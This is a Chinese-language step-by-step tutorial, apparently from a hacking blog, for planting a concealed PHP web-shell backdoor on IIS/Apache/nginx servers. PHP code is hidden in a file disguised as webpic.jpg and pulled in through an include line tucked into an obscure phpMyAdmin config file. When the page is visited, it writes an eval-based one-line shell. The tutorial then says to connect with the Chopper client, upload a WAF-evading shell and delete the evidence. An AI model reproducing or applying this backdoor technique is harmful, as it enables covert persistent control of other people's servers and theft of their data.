环境:win2003、IIS6、PHP,需要include函数正常使用(不需要php.ini中的include_path前面去掉 ';')
1、编辑webpic.jpg,内容:
#<?php fputs(fopen('c:\phpstudy4iis\www\phpmyadmin\setup\lib\config.lib.php','w'),'<?php $a="d8dGr_64Erl_1";!empty($_POST[$a])?EvAl($_POST[$a]):false;?>')?> 适合维护后门用
或者<?php fputs(fopen('web.php','w'),'<?php $a="d8dGr_64Erl_1";!empty($_POST[$a])?EvAl($_POST[$a]):false;?>')?>适合制造后门用
#fopen如果打开不存在的文件会创建它,但不会创建不存在的目录
2、找一个目录深的不容易发现的(可以是配置文件)在不起眼的注释部分,加入include函数(不要放在class类中,因为不会执行include函数)
include 'c:\path1\path2\webpic.jpg'; #最好是相对路径,如下:
include '..\..\..\..\fileupload\webpic.jpg'; #注意 '.' 表示上一文件夹,'\' 表示下一文件夹,所以 '..\' 表示进入上一文件夹内的目录中。
3、在浏览器正常访问(输入URL回车)这个含有此include函数的PHP配置文件,
include函数被执行,生成本目录下的web.php文件(而且只要有这个URL后面的PHP文件被访问到或间接访问到都会产生web.php 文件),内容是:
<?php $a="d8dGr_64Erl_1";!empty($_POST[$a])?EvAl($_POST[$a]):false;?>
4、菜刀连接之,制作过狗一句话木马或大马,并删除web.php。
注:相对路径设置不对,容易出现错误,如第二步如果多一个 '..' ,会出现如下错误:
PHP Warning: include(..\..\..\..\..\fileupload\webpic.jpg): failed to open stream: No such file or directory in C:\phpStudy4IIS\WWW\phpMyAdmin\libraries\tcpdf\config\tcpdf_config.php on line 30
PHP Warning: include(): Failed opening '..\..\..\..\..\fileupload\webpic.jpg' for inclusion (include_path='.;C:\php\pear') in C:\phpStudy4IIS\WWW\phpMyAdmin\libraries\tcpdf\config\tcpdf_config.php on line 30
PS:还适合Apache、nginx服务器等PHP环境下。
参考链接:利用include函数漏洞制作隐蔽后门